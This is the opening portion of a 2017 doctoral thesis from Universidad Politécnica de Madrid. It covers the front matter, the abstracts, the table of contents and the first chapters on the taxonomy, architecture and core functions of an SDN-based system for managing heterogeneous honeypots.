UNIVERSIDAD POLITÉCNICA DE MADRID
ESCUELA TÉCNICA SUPERIOR DE INGENIEROS DE TELECOMUNICACIÓN

**CONTRIBUTION TO THE DESIGN OF A FLEXIBLE
AND ADAPTIVE SOLUTION FOR THE
MANAGEMENT OF HETEROGENEOUS
HONEYPOT SYSTEMS**

TESIS DOCTORAL

WENJUN FAN
INGENIERO EN INFORMÁTICA

2017

Departamento de Ingeniería de Sistemas Telemáticos
ESCUELA TÉCNICA SUPERIOR DE INGENIEROS DE TELECOMUNICACIÓN
UNIVERSIDAD POLITÉCNICA DE MADRID

TESIS DOCTORAL

**Contribution to the Design of a Flexible and Adaptive
Solution for the Management of Heterogeneous
Honeypot Systems**

Autor

Wenjun Fan

Ingeniero en Informática

Director

David Fernández Cambrónero

Doctor Ingeniero de Telecomunicación

Madrid, 2017

Título: Contribution to the Design of a Flexible and Adaptive Solution for the Management of Heterogeneous Honeypot Systems
Departamento: Departamento de Ingeniería de Sistemas Telemáticos.
Autor: Wenjun Fan
Director: David Fernández Cambronero

TRIBUNAL CALIFICADOR

Presidente:

Vocales:

.....

.....

Secretario:

Suplentes:

.....

Realizado el acto de defensa y lectura de la Tesis Doctoral en Madrid, el día.....de.....de 2017.

*There is no logical way to the discovery of these elemental laws.
There is only the way of intuition, which is helped by feeling for the order lying behind the appearance.*
---- *Albert Einstein*

*Evolution continually innovates,
but at each level it conserves the elements that are recombined to yield the innovations.*
---- *John Henry Holland*

知己知彼，百战不殆。
---- 《孙子兵法》

Acknowledgements

The author would like to thank his doctoral supervisor Professor David Fernández, who revised the whole thesis in full patience and provided plenty of valuable suggestions. The author is also grateful to Professor Zhihui Du from Tsinghua University, P.R.China, for his huge assistance in improving the contributions of the work as well as the related publications. The author is deeply thankful to his parents and his wife for their love, selfless support and encouragement to finish the work. Besides, the author is warmly appreciative of kindness and benefits received from other professors and colleagues, such as Prof. Ángel Álvarez, Prof. Víctor Villagrà, Dr. Verónica Mateos and Dr. Pedro Capelastegui.

Abstract

Networked computer systems are deeply integrated into every aspect of modern information-overloaded society. The mechanisms that keep our modern society owing smoothly, with activities such as efficient execution of government and commercial transactions and services, or consistent facilitation of social transactions among billions of users, are all dependent on large networked computer systems. Recent growth of the cyberspace has been phenomenal and consequently, the computers and the networks that make the Internet have become the targets of adversaries and criminals. Intrusions into a computer or network system are activities that destabilize them by compromising security in terms of confidentiality, availability or integrity, the three main characteristics of a secure and stable system.

A honeypot is a valid and vital security facility used to deliberately sacrifice its own information system resource in order to capture unauthorized network traffic and malicious system activity. This thesis focuses on contribution to the design of flexible and adaptive honeypot systems. It encompasses discussion of the state of the art in the honeypot development and research area. It presents a novel taxonomy of honeypots based on a new anatomic view over honeypots, which extracts two common elements in all honeypots, decoy and security program, to define the honeypot, and also, provides the organization forms of these two elements, which are tight coupling and loose coupling. The taxonomy is validated by applying it to investigate an extensive set of existing honeypots. Detailed discussion and analysis of the related work provide a clear understanding of the research and development statement of this area.

The main contribution of this thesis is the design of a novel creation and management system based on software-defined network technologies (SDN), called HoneyMagic. This system proposes a new flexible and extensible architecture based on SDN framework and a generic honeynet description language (TIHDL). It uses the SDN technology to facilitate transparent traffic redirection mechanism to forward or redirect the interesting traffic into corresponding honeypots for further investigation. For this purpose, the HoneyMagic SDN controller application implements the stealthy TCP connection handover mechanism. Also, it also presents a customizable data control approach that can allow the user to configure arbitrary traffic filtering and redirection rules according to the research requirement, as well as the deployment of the heterogeneous decoys on different virtualization platforms. In addition, the thesis presents the tests performed to validate the functions

of HoneyMagic, as well as specific attack data to compare the functionalities and performance of HoneyMagic with other related tools. The experimental results show that the system can efficiently handle different honeypot systems to capture data, managing the traffic redirection interesting according to security objectives.

The thesis presents experiment to validate the functions of the HoneyMagic. The thesis also provides specific attacks to compare the functionalities and performance of HoneyMagic with other relative tools. The experimental results show that the system can efficiently handle different honeypots to capture data and redirect the interesting traffic in stealthy into corresponding honeypots according to the security goals as well.

Keywords: Honeypots, Cyber Security, Virtualization, SDN, Traffic Redirection, Intrusion Detection, Anti-detection

Resumen

Los sistemas de información en red están profundamente integrados en todos los aspectos de la actual sociedad moderna sobrecargada de información. En ella se desarrollan constantemente actividades tales como la ejecución de transacciones comerciales, relacionadas con servicios gubernamentales o de carácter social entre miles de millones de usuarios, cuyo funcionamiento depende en gran parte de grandes sistemas informáticos en red. El crecimiento reciente del denominado ciberespacio en el que se desarrollan estas actividades ha sido espectacular. Sin embargo, los ordenadores y las redes que lo forman se han convertido en blanco de ataques por parte de adversarios y criminales. Las crecientes intrusiones en los sistemas informáticos en red son actividades que los desestabilizan, comprometiendo su seguridad en términos de confidencialidad, disponibilidad o integridad, las tres características principales que debe tener un sistema seguro y estable.

Un sistema trampa o sistema señuelo (honeypot) es un importante recurso de seguridad que sacrifica su propia seguridad con el fin de capturar el tráfico de red y las actividades de usuarios sospechosos con el objeto de estudiarlos posteriormente. Las contribuciones de esta tesis se centran en el diseño de sistemas flexibles y adaptativos de creación y gestión de señuelos. La tesis presenta un estado del arte completo y actualizado en el ámbito de los señuelos, proponiendo una nueva taxonomía basada en una visión anatómica que extrae dos elementos comunes a todos los sistemas señuelo (el señuelo propiamente dicho y el programa de seguridad), así como la forma en que ambos se organizan (acoplamiento fuerte o débil). La taxonomía propuesta ha sido validada mediante su aplicación a un extenso conjunto de herramientas y proyectos de sistemas señuelo existentes, lo que ha permitido mejorar la comprensión de esa área de investigación y desarrollo.

La principal contribución de la tesis es el diseño de un nuevo sistema de creación y gestión de señuelos basado en tecnologías de redes definidas por software (SDN), denominado HoneyMagic. Dicho sistema propone una nueva arquitectura flexible y extensible basada en un lenguaje genérico de definición de redes de señuelos (TIHDL) y que utiliza la tecnología SDN para facilitar el mecanismo de redirección transparente del tráfico interesante desde señuelos de baja intensidad hacia señuelos de media o alta intensidad para una investigación más detallada. Con este objeto, el controlador SDN de HoneyMagic implementa un mecanismo de transferencia de conexiones TCP transparente. Además, aporta un enfoque de control de datos personalizable que permite al usuario configurar reglas arbitrarias de filtrado y redirección de tráfico según sus requisitos, así como el despliegue de redes de

señuelos heterogéneos sobre distintas plataformas de virtualización. Adicionalmente la tesis presenta las pruebas realizadas para validar las funciones de HoneyMagic, así como datos de ataques específicos para comparar las funcionalidades y el rendimiento de HoneyMagic con otras herramientas relativas. Los resultados experimentales muestran que el sistema puede manejar de forma eficiente diferentes sistemas señuelo para capturar datos, gestionando la redirección del tráfico interesante de acuerdo con los objetivos de seguridad.

Palabras clave: Honeypots, sistemas señuelo, ciberseguridad, virtualización, SDN, redirección de tráfico, detección de intrusiones, anti-detección

Table of Contents

ACKNOWLEDGEMENTS	I
ABSTRACT	III
RESUMEN	V
TABLE OF CONTENTS	VII
LIST OF FIGURES	XI
LIST OF TABLES	XIII
CHAPTER 1. INTRODUCTION	1
1.1. INTRODUCTION	1
1.2. BACKGROUND	2
1.3. MOTIVATION AND PROBLEM STATEMENT	3
1.3.1. <i>Honeypot Management</i>	4
1.3.2. <i>Network Scenario</i>	4
1.3.3. <i>System Architecture</i>	5
1.4. OBJECTIVES AND CONTRIBUTIONS.....	5
1.5. ORGANIZATION.....	6
CHAPTER 2. STATE OF THE ART	7
2.1. CONCEPTS	7
2.1.1. <i>Honeypot</i>	7
2.1.1. <i>Honeypot Application Environments</i>	8
2.1.2. <i>Functionalities of Honeypot System</i>	8
2.2. KEY TECHNOLOGIES FOR HONEYPOT SYSTEMS.....	10
2.2.1. <i>Traffic Classification and Filtering Mechanisms</i>	12
2.2.2. <i>System Activity Capture</i>	14
2.2.3. <i>Outgoing Attack Control</i>	14
2.2.4. <i>Traffic Redirection</i>	15
2.2.5. <i>Dynamic Configuration</i>	17
2.2.6. <i>Anti-detecting Technology</i>	20
2.3. HONEYPOT SYSTEM ARCHITECTURES.....	22
2.3.1. <i>Honeynet Architectures</i>	22
2.3.2. <i>Hybrid System Architectures</i>	27
2.4. HONEYPOTS DEPLOYMENT AND MANAGEMENT.....	32
2.4.1. <i>Virtual honeypots deployment tools</i>	32
2.4.2. <i>Honeynet Management Systems</i>	34
2.5. CLASSIFICATIONS OF HONEYPOTS	35
2.6. CONCLUSIONS.....	36

CHAPTER 3. A NOVEL TAXONOMY OF HONEYPOT SYSTEMS.....	39
3.1. INTRODUCTION	39
3.2. HONEYPOT ANATOMY	40
3.3. REQUIREMENTS OF TAXONOMY	41
3.4. D-P BASED TAXONOMY OF HONEYPOT SYSTEMS.....	42
3.4.1. <i>The Features of the Decoy</i>	43
3.4.2. <i>The Functions of the Security Program</i>	50
3.4.3. <i>Relationships among the attack, decoy and security program</i>	58
3.5. TAXONOMY APPLICATION AND ANALYSIS	59
3.5.1. <i>Hybrid honeypots</i>	61
3.5.2. <i>Virtual honeypots</i>	62
3.5.3. <i>Special purpose honeypots</i>	63
3.6. CONCLUSION	63
CHAPTER 4. FLEXIBLE AND ADAPTIVE SYSTEM ARCHITECTURE	65
4.1. INTRODUCTION	65
4.2. SDN BASED HONEYPOT ARCHITECTURE	67
4.3. AN OVERVIEW OF THE FLEXIBLE HONEYPOT SYSTEM	68
4.4. COMPONENT DESCRIPTION.....	70
4.4.1. <i>Network data Controller</i>	70
4.4.2. <i>Decoy Deployer</i>	71
4.4.3. <i>System Data Analyzer</i>	72
4.5. COMPARING HONEYMAGIC TO OTHER HONEYPOT SYSTEMS.....	74
4.6. CONCLUSION	75
CHAPTER 5. TECHNOLOGY INDEPENDENT HONEYNET DESCRIPTION LANGUAGE	77
5.1. INTRODUCTION	77
5.2. REQUIREMENT ANALYSIS.....	78
5.2.1. <i>A typical honeynet</i>	78
5.2.2. <i>The requirements of honeynet description</i>	79
5.3. SURVEY ON NETWORK AND SYSTEM DESCRIPTION LANGUAGE	82
5.3.1. <i>Related languages</i>	82
5.3.2. <i>Language comparison</i>	85
5.4. TIHDL	86
5.4.1. <i>TIHDL data model</i>	87
5.4.2. <i>TIHDL schema</i>	88
5.5. CONCLUSION	96
CHAPTER 6. HETEROGENEOUS HONEYPOT SYSTEM MANAGEMENT	97
6.1. INTRODUCTION	97
6.2. HONEYNET DEPLOYMENT AND MANAGEMENT FRAMEWORK.....	100
6.3. TRANSFORMATION METHODOLOGY	101
6.3.1. <i>Scenario division</i>	102

6.3.2.	<i>Scenario transformation</i>	103
6.3.3.	<i>Transformation module</i>	107
6.4.	DYNAMIC DEPLOYMENT TOOLS.....	108
6.5.	CONCLUSION	110
CHAPTER 7.	TRAFFIC FILTERING AND REDIRECTION MECHANISM.....	111
7.1.	INTRODUCTION	111
7.2.	TRAFFIC REDIRECTION MECHANISM.....	113
7.3.	TRAFFIC CLASSIFICATION APPROACH	123
7.4.	CONCLUSION	125
CHAPTER 8.	SYSTEM IMPLEMENTATION AND EVALUATION	127
8.1.	SYSTEM IMPLEMENTATION	127
8.1.1.	<i>OpenFlow based switches</i>	128
8.1.2.	<i>The network data controller</i>	129
8.1.3.	<i>Honeyvers</i>	134
8.2.	FUNCTIONAL EXPERIMENTS	138
8.2.1.	<i>Testing Scenario</i>	138
8.2.2.	<i>Fingerprint tests</i>	140
8.2.3.	<i>Performance tests</i>	141
8.2.4.	<i>Redirection tests</i>	142
8.3.	EXPERIMENTS OVER A PRODUCTION NETWORK	146
8.3.1.	<i>Deployment strategies</i>	146
8.3.2.	<i>Use case</i>	150
8.4.	REAL ATTACKS CAPTURE	156
8.4.1.	<i>Data reduction comparison by different data filtering rules</i>	159
8.4.2.	<i>Attack forensics comparison by different redirection rules</i>	160
8.5.	CONCLUSION	164
CHAPTER 9.	CONCLUSION	167
9.1.	ACCOMPLISHED WORK.....	167
9.2.	FUTURE WORK	169
9.3.	OPEN ISSUES	171
REFERENCES.....		173
APPENDIX I TIHDL SCHEMA.....		185
APPENDIX II HONEYVERS CONFIGURATION FILE		190
APPENDIX III HONEYMAGIC CONFIGURATION FILE		194

List of Figures

Figure 1. Functionalities of Honeypot Systems.....	9
Figure 2. Mutual conditions between different features of honeypot system.....	11
Figure 3. Outgoing traffic redirection.....	15
Figure 4. Gen I honeynet architecture.....	23
Figure 5. Gen II honeynet architecture	24
Figure 6. Self-contained virtual honeynet.....	26
Figure 7. Multi-system virtual honeynet.....	27
Figure 8. Functions in hybrid system.....	28
Figure 9. An overview of hybrid system type I	28
Figure 10. An overview of hybrid system type II.....	30
Figure 11. An overview of hybrid system type III.....	31
Figure 12. Honeypot Anatomy: core elements and their organizations.....	41
Figure 13. D-P based taxonomy of honeypot systems.....	43
Figure 14. The fidelity in terms of interaction levels.....	43
Figure 15. Virtualization technologies for decoy deployment.....	46
Figure 16. An SDN based honeypot system architecture	68
Figure 17. An overview of the flexible honeypot system.....	69
Figure 18. Illustration of the original traffic redirection mechanism.....	70
Figure 19. A typical honeynet.....	79
Figure 20. Examples of layer-two and layer-three topologies.....	80
Figure 21. Inspired from three languages	87
Figure 22. The core of TIHDL data model demonstrated by UML diagram, which includes 12 classes and 11 associations.	88
Figure 23. An example of honeynet described by TIHDL	91
Figure 24. A new honeypot is added into the net1	93
Figure 25. A subnet is deleted from the whole honeynet scenario	93
Figure 26. A honeypot is deleted from the honeynet scenario	94
Figure 27. A new subnet including a new honeypot is added into the honeynet scenario	95
Figure 28. Fidelity vs. Scalability of trade-off of honeypot types.....	99
Figure 29. An Overview of Honeyvers Architecture.....	100
Figure 30. Honeynet scenario separation.....	102
Figure 31. An overview of the XML schema mapping based transformation methodology for versatile honeypots deployment.....	104
Figure 32. XML schema mapping process	105
Figure 33. An overview of transformation module working in user time	107
Figure 34. State diagram of a virtual machine emulated by VNX.....	109
Figure 35. SDN based traffic redirection.....	113
Figure 36. The approach for synchronizing Seq and Ack numbers on data plane	116

Figure 37. SDN based transparent traffic redirection mechanism using controller as frontend (mechanism 1).....	117
Figure 38. SDN based transparent traffic redirection mechanism using VM as frontend (mechanism 2).....	118
Figure 39. Traffic classifier for the decision engine	123
Figure 40. Proof-of-Concept System implementation in one physical machine	127
Figure 41. Ryu controller's workflow for making decision	131
Figure 42. Snort integrates with Ryu framework	132
Figure 43. Schema mapping example.....	135
Figure 44. Copy-On-Write technique is used for generating file systems.....	136
Figure 45. A testing scenario for the prototype	138
Figure 46. Connection latency under different scenarios	141
Figure 47. Packet I/O graph of honeypot under different mechanisms	142
Figure 48. The Wireshark flow graph of the SSH forwarding testing.....	143
Figure 49. The Wireshark flow graphs of the SSH redirection testing.....	144
Figure 50. Probability of attacking on honeypots in the network versus the number of free IP addresses	147
Figure 51. Probability of attacking on honeypots in the network versus the ratio of free IP addresses to the number of production systems.....	148
Figure 52. IP address distribution and Operating system distribution.....	151
Figure 53. The most popular open ports of the entire production network	151
Figure 54. Port scans of normal mode	152
Figure 55. Port scans of polite mode	153
Figure 56. Virtual and physical memory used by the process	155
Figure 57. Stream benchmark results based on KVM	156
Figure 58. Deployment in the real network environment.....	157
Figure 59. The example of data statistics of Dionaea.....	158
Figure 60. Busy remote attacking hosts recorded by Dionaea.....	159
Figure 61. The new statistics of Dionaea after data reduction.....	160
Figure 62. Scan Process: The thick lines correspond to control channel events while the dashed lines denote flow of data	170

List of Tables

Table 1. Virtual honeypot introspection solutions	51
Table 2. Comparison of honeypot systems in terms of D-P based taxonomy	60
Table 3. Comparison of subsystems of hybrid honeypots	61
Table 4. Virtual machine introspection solutions	73
Table 5. Comparison of honeypot systems	74
Table 6. The characteristics for honeypot description	81
Table 7. Comparison of different languages by the honeynet description requirements.....	86
Table 8. An example of honeynet description	89
Table 9. The language syntax used in the representative platforms	104
Table 10. Algorithm 1 Honeyvers Customization	106
Table 11. The correspondence of states transformation	109
Table 12. Algorithm 2 SDN controller's redirection engine	121
Table 13. Correspondence of I-level and relevant action	124
Table 14. Actions for setting rule	131
Table 15. Algorithm 3 SDN controller's decision engine	132
Table 16. The created file systems of honeypots	137
Table 17. Snort rules for data control	139
Table 18. Flow entries translated from Snort rules installed in the main OVS.	139
Table 19. Apache benchmark results based on LXC	154
Table 20. Host performance with ten LXC based honeypots	154
Table 21. Host performance with ten KVM based honeypots.....	155
Table 22. The port attack frequency recorded by Dionaea	158
Table 23. The Volatility forensic results.....	164

CHAPTER 1. INTRODUCTION

1.1. Introduction

Today, every aspect of our lives is influenced by networked computer systems. The newly minted domain of cyberspace is so pervasive that the US Department of Defense has put cyberspace on par with land, sea, and air as a war-fighting domain [1]. The Internet, which provides transportation to all types of information including complex real-time multi-media data, is the universal network of millions of interconnected computer systems, organized as a network of thousands of distinct smaller networks. However, systems on the cyberspace are constantly faced with cyber threats every day. Incident handlers across the globe are faced with compromised systems, running some set of malicious programs, providing some kind of unintended service to an intruder who has taken control of someone else's computers. In 2015, Symantec discovered more than doubled to 54 zero-day vulnerabilities, a 125 percent increase from the year before [2]. Since threats cannot be eliminated thoroughly, the strategy to secure cyberspace is to reduce vulnerabilities to those threats before they can be exploited to damage the cyber systems [3]. Therefore, it is very necessary to control this increasing risk tendency.

To address this concern, a variety of security mechanisms and solutions have been proposed for the reduction of risk. In Bruce Schneier's book [4], he defined the value of security through breaking it down into three areas: prevention, detection and reaction. Honeypot is an important security tool that can add values to all of those three security areas. A honeypot system has two major goals. Firstly, it allows security researchers to capture, collect and even control intrusive data, which can be used to do further security study. Secondly, it can protect network assets of an organization from threats through methods of prevention, detection and reaction.

Every individual simple honeypot system has its own characteristics against specific security concerns. The research of complex honeypot system has become more important as a way to overcome the limitations imposed by the use of single simple honeypots. In practical terms,

furthermore, the decoys of heterogeneous honeypot system should be deployed on a certain network to form a honeynet. But the deployment of heterogeneous honeynet is a complex task.

The goal of this dissertation is to propose an innovative general system for managing heterogeneous honeypots to better measure different types of malicious activities in order to protect the organization network. The system is based on a flexible and adaptable virtual honeynet architecture, which facilitates the deployment of versatile homogeneous honeypots against different types of attacks.

1.2. Background

At present, most of the security technologies are designed to address specific problems. First of all, we have firewalls and anti-virus programs to block attacks. A firewall is used as an access control device. Firewalls are most commonly deployed around a perimeter of organization to block unauthorized activity. A firewall can block access to a service by filtering some certain ports but it does little to evaluate and analyze interesting traffic. It can block all access to a certain service in order to avoid ignoring malevolent traffic, but it also blocks any benevolent traffic that wants to access the service.

Moreover, Denning first put forward an intrusion detection model in 1987 [5]. Intrusion detection is the art of detecting inappropriate, incorrect, or anomalous activity. Afterwards, various intrusion detection systems (IDS) were proposed. Among other tools, IDS can be used to determine if a computer network or server has experienced an unauthorized intrusion. Traditionally, according to the detection method, IDSs can be divided into two categories: signature (rule-based) detection and anomaly detection [6]. Signature detection use patterns of well-known attacks to identify intrusion. If the observed data matches the pre-defined description of attacker's behavior, it is considered as intrusion. However, the creation of blackhat community and the polymorph of intrusion often spot the limitation of this method. When it encounters the unknown intrusion, signature detection will fail easily. Thus, it has the false negative problem. Anomaly detection is orthogonal to signature detection. It hypothesizes the anomaly behavior is rare and different from normal behavior. Hence, it detects the intrusion by noticing deviations from the established model of normal usage pattern. Though anomaly detection has the advantage of being capable of detecting unknown attacks, the flaw is the false positive problem, since non-malicious activity also can easily trigger the intrusion mechanism. Compared to IDS, honeypots have the big advantage that they do not generate false alerts as each observed traffic is suspicious, because no productive components are

running on the system. Thus, the combination of IDS and honeypots are able to reduce the number of false negatives and false positives and help in detecting potential attacks.

On the other hand, although IDS also can evaluate the traffic that passes through the open ports and detect intrusion, it cannot block the intrusion traffic. In 2002, Richard J. Bolton and David J. Hand distinguished fraud prevention from fraud detection [7]: fraud prevention describes measures to stop fraud from occurring in the first place. Afterwards, a new type of system was becoming more and more popular: the intrusion prevention system (IPS) [8] [9]. This is a system that actively monitors a network or host for attacks and prevents those attacks from occurring. In other words, it can detect and block attacks, and act as a shield for systems and applications. However, IPSs cannot fully distinguish if a request is normal or malformed at the application layer (OSI Layer 7). This shortcoming could potentially allow attacks to permeate the shield without detection or prevention, especially newer attacks with unknown signatures. For example, IPSs still left the issue that the intruder comes from inside, which means an insider launches an attack such as a legitimate user's password is compromised. Thus intrusion prevention is not adequate for a social engineering based intrusion. However, a honeypot can capture every activity for forensics.

In order to avoid the drawback of IPS, some intrusion response mechanisms [10] [11] were proposed. The constraint is that these mechanisms focused on passive response, such as raising alerts and logging actions. It was traditionally assumed that intrusion response was an offline process. Human being involved in the response loop, that is just like administrators performed forensics by observing the system logs and then determine which services and components should be rebuilt. Inviting manual response is no longer sufficient to complex systems in the front of a complicated attack. In recent years, some automated intrusion response system (AIRS) have been proposed to produce automated active response to intrusion events [12]. AIRS always uses honeypots as data capture infrastructures to investigate intrusion events by providing insight into suspicious activities. Thus, a honeypot system is an important infrastructure in AIRS.

1.3. Motivation and Problem Statement

A honeypot system is a type of security system aimed to investigate intrusion events and malicious behavior through being attacked and compromised. The honeypots can be used to study unknown attacks and prevent production systems from being attacked as well as discovery the adversary's attacking skill, tactic and motivation. Thus, it is worth using honeypot system to reduce the security risk. However, there are several problems we have to address in order to facilitate an effective honeypot system.

1.3.1. *Honeypot Management*

The honeypot management represents the configuration, deployment, and monitoring of honeypots. In order to facilitate an effective honeypot management, on one hand, we must find a way to describe the system and network information of honeypot. Many different types of honeypots have been proposed by now. There is not any general description language which can be used to describe honeypot network topology as well as the honeypot system information. A concise and effective description language can enhance the management capability of honeypot system to configure decoys and exchange deployment information between different components. On the other hand, the essential management objective is to improve the system state in order to adapt to the current network environment. There are two aspects that should be taken into account. Firstly, it is necessary to monitor the decoys' states in order to adapt the dynamic environment. Secondly, the outside dynamic environment should be observed as well. Though there are several general network monitoring or management systems, aside from some honeypots deployment platforms, it lacks of a management system which can configure, deploy and monitor the heterogeneous honeypots.

1.3.2. *Network Scenario*

Network scenario affects the type of attack which the honeypot can capture. A case in point is that Riebach et al. proposed multilevel escalation strategy for making the honeypot visible in different network scenarios [13]. Generally, the data captured by the honeypot will be affected by the network scenario through several aspects. Firstly, the set of IP addresses used by honeypots will determine the monitoring scope. A global IP network monitoring scope is very useful to discover the unknown attack on early rising from the entire network blocks. In contrast, if the honeypots are assigned by the local IP addresses in an organization, they can only capture data from local area. Secondly, the location of honeypots, behind or before firewall, is also influential to data capture. If a honeypot locates in an internal network behind a firewall, it can detect misconfigurations, internal scans, internal infections, malware propagation, etc. However, if the honeypot locates on a DMZ (Demilitarized Zone), it will be visible to various attacks. Thirdly, the honeypots assigned with unused IP address can detect attacks which focus on targets of opportunity, e.g. attacks from script kiddies, worm, automated malware etc. However, if the honeypot is registered in the DNS server, the adversary can find it with its host name and attack it without scanning the entire network of organization, this type of attacks therefore may focus on targets of choice.

Admittedly, it is impossible to enumerate all of the network scenarios for data capture by honeypots. Any traffic incoming to honeypot is suspicious and any traffic outgoing from honeypot

can prove the honeypot has been compromised. Thus, a honeypot system should provide traffic filtering mechanism for data reduction according to different network scenarios. However, the most current honeypot systems only focus on the specific network scenario and cannot allow the user to customize the traffic filtering mechanism.

1.3.3. System Architecture

The honeypot system architecture refers to the organization of different components as well as the functionality schedule. Basic function blocks such as data capture and data control are not adequate to a complex honeypot system. Due to any individual honeypot has its inherent trade-off of technical features, the function block of heterogeneous honeypots management is desired for integrating different types of honeypots. In order to facilitate traffic filtering mechanism for accurate data capture, the function block of traffic filtering should be designed as well. In addition, the function block of dynamic honeypot is also necessary in order to adapt to the unpredictable network environment. At present, it lacks of solution that is flexible and adaptive enough to manage heterogeneous honeypot system. It requires the system architecture that includes dynamic honeypots and can control the interesting traffic to flow into the appropriate honeypots.

1.4. Objectives and Contributions

The objective of this thesis is to allow the security researchers to gain insight of the honeypot technology and propose a flexible and adaptive system in order to facilitate efficient data capture. The contributions of our work can be summarized as follows:

- 1) It clarifies the definition of honeypot system through introducing the honeypot anatomy concepts that consists of decoy (D) and security program (P). Depending on the conceptualization it proposes a new D-P based taxonomy of honeypot systems.
- 2) It proposes an SDN based flexible and adaptive virtual honeypot system architecture that provides the flexibility and extensibility to organize heterogeneous security technologies and different types of honeypots to adapt to various sophisticated attacks.
- 3) It proposes a technology independent honeynet description language (TIHDL). Based on TIHDL a versatile honeypots configuration and deployment tool called Honeyvers is developed.
- 4) It proposes a new transparent traffic redirection mechanism with the benefit of SDN programmable capability. The stealth TCP connection handover approach uses the SDN

technology to manage the flow in order to avoid the traffic redirection being detected. In addition, the controller takes advantages of Snort rules to provide a customizable data control approach, which allows the users to configure arbitrary traffic filtering and redirection rules according to the research requirements.

1.5. Organization

The organization of this dissertation is as follows: In chapter 2, the state-of-the-art is presented; in chapter 3, a novel taxonomy of honeypot systems is presented; in chapter 4, an advanced heterogeneous honeypot systems architecture is designed and presented; in chapter 5, a technology independent honeynet description language is described; in chapter 6, the approach for heterogeneous honeypot system management based on the technology independent honeynet description language is proposed; in chapter 7, a customizable traffic filtering and redirection mechanism is proposed as well; in chapter 8, the system implementation is presented and some experiments are conducted to evaluate our proposals; in chapter 9, the conclusions are made and some discussion on future works and open issues are presented.

CHAPTER 2. STATE OF THE ART

In this chapter, the concepts about honeypot systems and their functionalities are firstly presented as the common knowledge of the study field. Subsequently, the related work is reviewed and their advantages and disadvantages are described. Some specific knowledge of the study field is also presented in each subsection.

2.1. Concepts

The terms and definitions about honeypots as well as the honeypot application environments and functionalities of honeypot in this section are important to understand the remaining parts of this dissertation. Thus, we present and describe those widely used terms in the next three parts for the following state of the art.

2.1.1. *Honeypot*

The first idea about honeypot is from a book titled “The Cuckoo’s Egg” [14] written by Clifford Stoll, who was a U.S. astronomer working at Lawrence Berkeley National Laboratory. He described a series of events about tracking the hacker Markus Hess over a ten-month period in 1986 and 1987. The second honeypot was reported in the whitepaper “An Evening with Berferd in Which a Cracker Is Lured, Endured and Studied” [15]. But the definition of honeypot was proposed by Lance Spitzner in his paper[16]: A **honeypot** is an information system resource whose value lies in unauthorized or illicit use of that resource.

In addition, there are a number of other definitions must be described. A **physical honeypot** would consist of physical machines as its decoys. The contrary concept is **virtual honeypot** which uses virtual decoys that need the host machine to respond to the network traffic sent to the virtual decoys. Currently, honeypot systems become more and more complex. A **homogeneous honeypot system** only has a type of homogeneous decoys with corresponding security programs. However, a **heterogeneous honeypot system** possesses heterogeneous suites of decoys and security toolkits for certain application. In other words, a heterogeneous honeypot system always contains different types

of technologies for the implementation of decoys and security programs. Honeypots can be roughly classified by the interaction level: **low-interaction honeypot** (LIH), **medium-interaction honeypot** (MIH) and **high-interaction honeypot** (HIH). **LIH** can emulate multiple decoys simultaneously but they only implement a set of functions of a complete system and provide a little interaction to adversaries. **MIH** can provide much more interaction to the adversaries and can even catch the malicious payload. However, these honeypots neither emulate the operating systems nor set up multiple decoys simultaneously. **HIH** is fully functional system which can be compromised by adversaries so that the malicious system activity can be captured.

Furthermore, honeynet is a special type of honeypot system. The narrow honeynet term was proposed by Honeynet Project [16] [17] [18], which defines that a honeynet is a network of high interaction honeypots that provide real systems, applications, and services for attackers to interact with. A **physical honeynet** is comprised of physical honeypots. A **virtual honeynet** is composed of multiple virtual honeypots simultaneously running over one or more physical machines by using virtualized tools. Instead of deploying a large number of honeypots across multiple networks, honeypots can be simply and centrally deployed in a consolidated location. This type of dedicated centralized security infrastructure for the deployment of honeypots is called **honeyfarm**. Also, honeyfarm is always used to support a special type of honeypot system: the hybrid honeypot. A **hybrid honeypot** is made up of frontends and backends, as well as a containment device. The backends are implemented using HIHs deployed over the honeyfarm, and the frontends refer to LIHs (or MIHs) or devices (i.e. sensors, redirectors, etc.) with a portion of routed IP address space assigned. These devices for monitoring large-scale routed IP address space are also referred to as **network telescopes** [19], **darknet** [20], and **blackholes** [21]. Due to frontends are not powerful enough and backends are too expensive, hybrid systems offer the benefits of both worlds.

2.1.1. Honeypot Application Environments

Honeypot systems have two types of application environments: production and research. Production honeypots are aimed to emulate/clone objective organization networks and try to discover vulnerabilities in order to patch and protect the production systems. So, they are used to emulate the production systems for investigating the attacks which the production systems would come under. On the other hand, research honeypots focus on monitoring the interesting behavior in order to make corresponding response. They are intrusive event driven systems for creating and deploying honeypots on demand in order to investigate intrusive behavior.

2.1.2. Functionalities of Honeypot System

At present, there are five widely acknowledged functionalities of honeypot systems [22] [23], which are assembled by us in Figure 1 of the purpose of analyzing them.

Figure 1. Functionalities of Honeypot Systems

They are data capture, data collection, data control, data analysis and stealthy monitoring. Their concepts will be described in the following contents. Note that not all the honeypot systems include all these functionalities, but most honeypot systems only include some of them.

A. Data Capture

The purpose of Data Capture is to log all the intrusion events and malicious behaviors for later investigation. Any type of honeypot system must have this functionality. Three critical layers of Data Capture were identified: firewall logs (inbound and outbound connections), network traffic (every packet and its payload as it enters or leaves the honeypot), system activity (attacker's keystroke, system call, modified files, etc.). The more data and the higher quality of the data the honeypot system can capture, the better the honeypot system is. This is the most important functionality which any type of honeypot must have.

B. Data Control

Data Control functionality is aimed to mitigate the risk that the adversary uses the compromised honeypot to attack other non-Honeypot systems, such as any system on the Internet. Any high-interaction honeypot system must have this functionality. The outbound attack must be controlled in order to protect the non-Honeypot systems, but, at the same time, it is necessary to minimize the attacker's or malicious code chance of detecting it. Thus, the challenge of data control is how to set the threshold of outbound activity. The more you allow the attacker to do, the more you can learn. On the contrary, the more you allow the attacker to do, the more harm they can potentially

cause. It is a complex task to hunt the balance between how much intrusive data you want to get and how much baleful activity you want to restrict. At present, there are several other solutions to control the outgoing traffic such as transparently redirect the outgoing connection into another honeypot which is still under monitoring.

C. Data Collection

Data Collection requirement proposes the secure means for centrally collecting all the data captured from distributed honeypot systems. Due to the fact that honeypots are themselves insecure systems, the captured data must be centralized in an external secure system. Additionally, if the data are stored in distributed places, it is not an easy way to manage the data. Therefore, Data Collection also provides an easier management of captured data. HoneyNet systems always need this functionality for centralized data management.

D. Data Analysis

